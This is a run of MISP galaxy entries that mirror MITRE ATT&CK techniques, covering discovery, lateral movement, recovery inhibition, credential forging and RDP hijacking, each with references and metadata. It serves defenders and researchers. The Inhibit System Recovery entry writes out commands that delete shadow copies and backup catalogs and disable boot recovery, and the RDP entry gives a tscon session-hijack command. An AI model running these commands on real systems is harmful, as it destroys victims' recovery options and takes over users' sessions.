Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
Internal MISP references
UUID 354a7f88-63fb-41b5-a801-ce3b377b36f1 which can be used as unique global reference for System Information Discovery - T1082 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1082 - webarchive
- https://cloud.google.com/compute/docs/reference/rest/v1/instances - webarchive
- https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html - webarchive
- https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get - webarchive
- https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ - webarchive
- https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/ - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1082 |
| kill_chain | ['attack-Windows:discovery', 'attack-IaaS:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS', 'Network'] |
Windows Remote Management - T1028
Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)
Internal MISP references
UUID c3bce4f4-9795-46c6-976e-8676300bbc39 which can be used as unique global reference for Windows Remote Management - T1028 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/aa384426 - webarchive
- https://attack.mitre.org/techniques/T1028 - webarchive
- https://capec.mitre.org/data/definitions/555.html - webarchive
- https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc - webarchive
- https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1028 |
| kill_chain | ['attack-Windows:execution', 'attack-Windows:lateral-movement'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Commonly Used Port - T1043
This technique has been deprecated. Please use Non-Standard Port where appropriate.
Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as
- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)
They may use the protocol associated with the port or a completely different protocol.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are
- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)
Internal MISP references
UUID f879d51c-5476-431c-aedf-f14d207e4d1e which can be used as unique global reference for Commonly Used Port - T1043 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1043 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Private whois services - T1305
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)
Internal MISP references
UUID 3160347f-11ac-44a3-9640-a648b3c17a8f which can be used as unique global reference for Private whois services - T1305 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1305 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Security Software Discovery - T1063
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Windows
Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.
Mac
It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Internal MISP references
UUID 241814ae-de3f-4656-b49e-f9a80764d4b7 which can be used as unique global reference for Security Software Discovery - T1063 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1063 |
| kill_chain | ['attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_platforms | ['macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Test physical access - T1360
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)
Internal MISP references
UUID 18bfa01c-9fa9-409f-91f5-4a2822609d81 which can be used as unique global reference for Test physical access - T1360 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1360 |
| kill_chain | ['pre-attack:test-capabilities'] |
Exploit TEE Vulnerability - T1405
A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).
Internal MISP references
UUID ef771e03-e080-43b4-a619-ac6f84899884 which can be used as unique global reference for Exploit TEE Vulnerability - T1405 in MISP communities and other software using the MISP galaxy
External references
- http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html - webarchive
- https://attack.mitre.org/techniques/T1405 - webarchive
- https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html - webarchive
- https://usmile.at/symposium/program/2015/ekberg - webarchive
- https://usmile.at/symposium/program/2015/thomas-holmes - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1405 |
| kill_chain | ['mobile-attack-Android:credential-access', 'mobile-attack-Android:privilege-escalation'] |
| mitre_platforms | ['Android'] |
Account Access Removal - T1640
Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts.
Internal MISP references
UUID e2c2249a-eb82-4614-8dd4-9c514dde65e2 which can be used as unique global reference for Account Access Removal - T1640 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1640 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Network Service Discovery - T1046
Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)
Internal MISP references
UUID e3a12395-188d-4051-9a16-ea8e14d07b88 which can be used as unique global reference for Network Service Discovery - T1046 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1046 - webarchive
- https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html - webarchive
- https://themittenmac.com/what-does-apt-activity-look-like-on-macos/ - webarchive
- https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1046 |
| kill_chain | ['attack-Windows:discovery', 'attack-IaaS:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Containers:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Enumeration', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS', 'Containers', 'Network'] |
Proxy Through Victim - T1604
Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)
The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the Proxy API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.
Internal MISP references
UUID 5ca3c7ec-55b2-4587-9376-cf6c96f8047a which can be used as unique global reference for Proxy Through Victim - T1604 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1604 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Windows Management Instrumentation - T1047
Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.
The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model and Windows Remote Management.(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)
An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads.(Citation: Mandiant WMI) For example, wmic.exe can be abused by an adversary to delete shadow copies with the command wmic.exe Shadowcopy Delete (i.e., Inhibit System Recovery).(Citation: WMI 6)
Note: wmic.exe is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by PowerShell as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like wbemtool.exe, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)
Internal MISP references
UUID 01a5a209-b94c-450b-b7f9-946497d91055 which can be used as unique global reference for Windows Management Instrumentation - T1047 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1047 - webarchive
- https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN - webarchive
- https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242 - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - webarchive
- https://www.mandiant.com/resources/reports - webarchive
- https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1047 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'WMI: WMI Creation'] |
| mitre_platforms | ['Windows'] |
Stored Application Data - T1409
Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)
Due to mobile OS sandboxing, this technique is only possible in three scenarios:
- An application stores files in unprotected external storage
- An application stores files in its internal storage directory with insecure permissions (e.g. 777)
- The adversary gains root permissions on the device
Internal MISP references
UUID 702055ac-4e54-4ae9-9527-e23a38e0b160 which can be used as unique global reference for Stored Application Data - T1409 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1409 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Inhibit System Recovery - T1490
Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
vssadmin.execan be used to delete all volume shadow copies on a system -vssadmin.exe delete shadows /all /quiet- Windows Management Instrumentation can be used to delete volume shadow copies -
wmic shadowcopy delete wbadmin.execan be used to delete the Windows Backup Catalog -wbadmin.exe delete catalog -quietbcdedit.execan be used to disable automatic Windows recovery features by modifying boot configuration data -bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled noREAgentC.execan be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected systemdiskshadow.execan be used to delete all volume shadow copies on a system -diskshadow delete shadows all(Citation: Diskshadow) (Citation: Crytox Ransomware)
On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.
Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)
Internal MISP references
UUID f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a which can be used as unique global reference for Inhibit System Recovery - T1490 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1490 - webarchive
- https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - webarchive
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow - webarchive
- https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/ - webarchive
- https://twitter.com/TheDFIRReport/status/1498657590259109894 - webarchive
- https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack - webarchive
- https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html - webarchive
- https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/ - webarchive
- https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1490 |
| kill_chain | ['attack-Windows:impact', 'attack-macOS:impact', 'attack-Linux:impact', 'attack-Network:impact', 'attack-IaaS:impact', 'attack-Containers:impact'] |
| mitre_data_sources | ['Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution', 'File: File Deletion', 'Process: Process Creation', 'Service: Service Metadata', 'Snapshot: Snapshot Deletion', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'Network', 'IaaS', 'Containers'] |
Server Software Component - T1505
Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)
Internal MISP references
UUID d456de47-a16f-4e46-8980-e67478a12dcb which can be used as unique global reference for Server Software Component - T1505 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1505 |
| kill_chain | ['attack-Windows:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Network:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'Network'] |
Archive Collected Data - T1560
An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.
Internal MISP references
UUID 53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a which can be used as unique global reference for Archive Collected Data - T1560 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1560 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Web Session Cookie - T1506
Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)
Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie, the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.
There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
Internal MISP references
UUID c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5 which can be used as unique global reference for Web Session Cookie - T1506 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1506 |
| kill_chain | ['attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Office-365:lateral-movement', 'attack-SaaS:lateral-movement'] |
| mitre_platforms | ['Office 365', 'SaaS'] |
Related clusters
To see the related clusters, click here.
Uncommonly Used Port - T1065
Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
Internal MISP references
UUID c848fcf7-6b62-4bde-8216-b6c157d48da0 which can be used as unique global reference for Uncommonly Used Port - T1065 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1065 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Network Information Discovery - T1507
Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.
Internal MISP references
UUID e4c347e9-fb91-4bc5-83b8-391e389131e2 which can be used as unique global reference for Network Information Discovery - T1507 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1507 |
| kill_chain | ['mobile-attack-Android:collection'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Pass the Hash - T1075
Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)
Internal MISP references
UUID c23b740b-a42b-47a1-aec2-9d48ddd547ff which can be used as unique global reference for Pass the Hash - T1075 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1075 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Lateral Tool Transfer - T1570
Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.
Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.(Citation: Unit42 LockerGoga 2019)
Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp. In some cases, adversaries may be able to leverage Web Services such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)
Internal MISP references
UUID bf90d72c-c00b-45e3-b3aa-68560560d4c5 which can be used as unique global reference for Lateral Tool Transfer - T1570 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1570 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement', 'attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'Named Pipe: Named Pipe Metadata', 'Network Share: Network Share Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Suppress Application Icon - T1508
A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.
This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)
Internal MISP references
UUID fd658820-cbba-4c95-8ac9-0fac6b1099e2 which can be used as unique global reference for Suppress Application Icon - T1508 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1508 - webarchive
- https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker - webarchive
- https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/ - webarchive
- https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1508 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Cloud Infrastructure Discovery - T1580
An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through Wordlist Scanning.(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in Cloud Service Discovery, this technique focuses on the discovery of components of the provided services rather than the services themselves.
Internal MISP references
UUID 57a3d31a-d04f-4663-b2da-7df8ec3f8c9d which can be used as unique global reference for Cloud Infrastructure Discovery - T1580 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1580 - webarchive
- https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/ - webarchive
- https://cloud.google.com/sdk/gcloud/reference/compute/instances/list - webarchive
- https://content.fireeye.com/m-trends/rpt-m-trends-2020 - webarchive
- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html - webarchive
- https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html - webarchive
- https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html - webarchive
- https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html - webarchive
- https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html - webarchive
- https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest - webarchive
- https://expel.io/blog/finding-evil-in-aws/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1580 |
| kill_chain | ['attack-IaaS:discovery'] |
| mitre_data_sources | ['Cloud Storage: Cloud Storage Enumeration', 'Instance: Instance Enumeration', 'Snapshot: Snapshot Enumeration', 'Volume: Volume Enumeration'] |
| mitre_platforms | ['IaaS'] |
Forge Web Credentials - T1606
Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.
Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the AssumeRole and GetFederationToken APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the zmprov gdpak command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)
Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)
Internal MISP references
UUID 94cb00a4-b295-4d06-aa2b-5653b9c1be9c which can be used as unique global reference for Forge Web Credentials - T1606 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1606 - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html - webarchive
- https://github.com/damianh/aws-adfs-credential-generator - webarchive
- https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - webarchive
- https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - webarchive
- https://wiki.zimbra.com/wiki/Preauth - webarchive
- https://wunderwuzzi23.github.io/blog/passthecookie.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1606 |
| kill_chain | ['attack-SaaS:credential-access', 'attack-Windows:credential-access', 'attack-macOS:credential-access', 'attack-Linux:credential-access', 'attack-Azure-AD:credential-access', 'attack-Office-365:credential-access', 'attack-Google-Workspace:credential-access', 'attack-IaaS:credential-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage'] |
| mitre_platforms | ['SaaS', 'Windows', 'macOS', 'Linux', 'Azure AD', 'Office 365', 'Google Workspace', 'IaaS'] |
Remote Desktop Protocol - T1076
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)
Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)
Internal MISP references
UUID 51dea151-0898-4a45-967c-3ebee0420484 which can be used as unique global reference for Remote Desktop Protocol - T1076 in MISP communities and other software using the MISP galaxy
External references
- http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ - webarchive
- http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html - webarchive
- https://attack.mitre.org/techniques/T1076 - webarchive
